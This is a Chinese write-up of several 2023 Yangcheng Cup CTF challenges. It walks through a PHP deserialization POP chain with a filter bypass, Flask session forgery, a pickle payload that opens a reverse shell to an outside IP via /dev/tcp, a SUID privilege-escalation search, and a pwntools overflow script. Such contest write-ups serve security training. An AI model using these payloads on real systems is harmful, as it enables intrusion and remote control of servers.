2023 羊城杯 WriteUp By Xp0int
2023羊城杯附件.zip
2023年“羊城杯”网络安全大赛-高职高专组 WriteUP——剑来.pdf
Web-1
题目名称:
D0n't pl4y g4m3!!!
题目内容:
小明不小心沉迷⚪⚪的东西把源码和猫猫搞丢了,请帮他找回来。请访问/p0p.php 【Flag完整格式一般为:flag{}或者DASCTF{},只需提交括号内的内容即可。若Flag为其它格式,则会在题目描述中单独说明。】
题目分值:
已答出21次,初始分值500.0,当前分值480.28,解出分值478.25
题目难度:
中等
靶机管理地址:
http://26361.endpoint-147f0df03bd2409e99db3aa41ba4ff12.m.ins.cloud.dasctf.com:81/dasctf_admin_portal
IP信息:
nc/80->tcp.cloud.dasctf.com:26361
打开靶机之后根据题目描述,就去浏览器打开/p0p.php
BP抓包之后发到重发器,发现hint.zip
打开压缩包是尊嘟假嘟加密,之前做西电的moeCTF2023的杂项题接触过
获得hint:flag在/tmp/catcatf1ag.txt
在尝试多次目录穿越后无果,想起可以通过看PHP的版本来看看有没有漏洞该版本的PHP有没有漏洞。
搜索到B站视频有讲这个漏洞,于是跟着复现
【PHP源码泄露漏洞-PHP Development Server <= 7.4.21 - CNVD-2023-05738】 https://www.bilibili.com/video/BV14Y411S7wf/
PHP Development Server <= 7.4.21 - Remote Source Disclosure PHP <= 7.4.21 存在源代码泄露的情况 PHP Development Server存在信息泄露漏洞,该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。
然后拿到源码,进行PHP反序列化操作
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");
class Pro{
private $exp;
private $rce2;
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>
看了CSDN发现很像反序列化pop链,结合chatGPT的回答。要POST传参CTF的值
<?php
class Yang
{
}
class Bei
{
}
$a = new Bei(); // 创建一个名为 $a 的 Bei 类对象
$a->rce = 'nl /tmp/catcatf1ag.txt'; // 为 $a 对象添加一个名为 rce 的属性,值为 'nl /tmp/catcatf1ag.txt'
$a->rce1 = 'test2'; // 为 $a 对象添加一个名为 rce1 的属性,值为 'test2'
$a->CTF = new Yang(); // 为 $a 对象添加一个名为 CTF 的属性,值为新创建的 Yang 类对象
$a->CTF->finish->finish = true; // 访问 $a 对象的 CTF 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine = new Yang(); // 为 $a 对象添加一个名为 fine 的属性,值为新创建的 Yang 类对象
$a->fine->finish->finish = true; // 访问 $a 对象的 fine 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine->now = ['YCB1'=>'system']; // 访问 $a 对象的 fine 属性,然后访问其内部的 now 属性,将其设置为关联数组,包含一个键值对 'YCB1'=>'system'
echo serialize($a); // 序列化 $a 对象并输出
?>
payload:(system被过滤了,双写绕过)
CTF=O:3:"Bei":4:{s:3:"rce";s:22:"nl /tmp/catcatf1ag.txt";s:4:"rce1";s:5:"test2";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}}
BP抓包之后送到重发器发包即可
Web-3
根据题目描述访问/www.zip获得源码
from flask import Flask, session
from secret import secret
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
在cookie中发现session,认为是session伪造,GitHub上有脚本
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRoVE01bWFFZDNuIn19.ZPPsXA.AnXbqGmwgy0bGgSVwoimu6xEQJw
有secret_key之后,修改admin和name的键值对
放到cookie的session中,访问/verification路由
访问/ppppppppppick1e路由,在请求头看见hint
访问/src0de路由,获得源码
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
先将pick1e的cookie值进行base64编码,打算反弹shell
import base64
import pickle
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/47.120.11.185/2333 0>&1"'
o.
'''
print(base64.b64encode(payload))
# 获得KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEyMC4xMS4xODUvMjMzMyAwPiYxIicKby4K之后
自己的VPS先监听端口,然后把pick1e的cookie值传入即可反弹shell
需要提权
find / -perm -u=s -type f 2>/dev/null
Python3可以提权
Crypto-6
先是社会主义核心价值观解码,获得密码解开压缩包
提示密码还有用
task.py只有个C,密文,看看私钥文件
(PKCS1) RSA 公私钥 pem 文件解析 - hahaha的文章 - 知乎 https://zhuanlan.zhihu.com/p/461349946
这篇文章教我们应该如何看私钥文件
CyberChef赛博厨导入私钥解析一下
对应着文章解析私钥里面的p,q和e,再将其转成10进制,放入风二西脚本跑,发现只有一半flag,然后xor一下再跑就可以了
Misc-2
打开文件发现是一张图片:
发现该图片底下有一些东西:
用png宽高一把梭后发现不是flag
然后用010打开对文件用特定关键词对一点一点看发现某尾有个文件尝试丢到虚拟机里面然后用binwalk去bin然后发现拆分不出东西回去继续看尝试手动拆:
拆下来后解开压缩包发现是一行英文:
看见文本名字为feld猜测是Gronsfeld以及010中也说明要用five numbers
发现要key:
然后爆破key值发现:28303有对应的答案按:trytothinkthesnippingtools
把这句话复制到百度查出该漏洞为cve-2023-28303.....
按照别人的教程一步一步在该图片上进行复现该漏洞得出flag:
教程链接:https://blog.csdn.net/weixin_64422989/article/details/131993859
PWN-2
记事本打开发现为elf文件,丢进虚拟机查看文件信息:
用checksec对该文件进行进一步的查看:
查看了之后发现为64位程序,以及栈保护没有开启,
之后用gdb调试加ghidra进行反汇编看pwn文件:
慢慢测试找到可以溢出点然后些写py脚本:
from pwn import *
p=remote('tcp.cloud.dasctf.com',24656)
p.sendline('a')
payload=b'a'*0x100+p64(0x123456ee)
p.sendline(payload)
sleep(1)
p.sendline('cat fl*')
p.interactive()
直接得到flag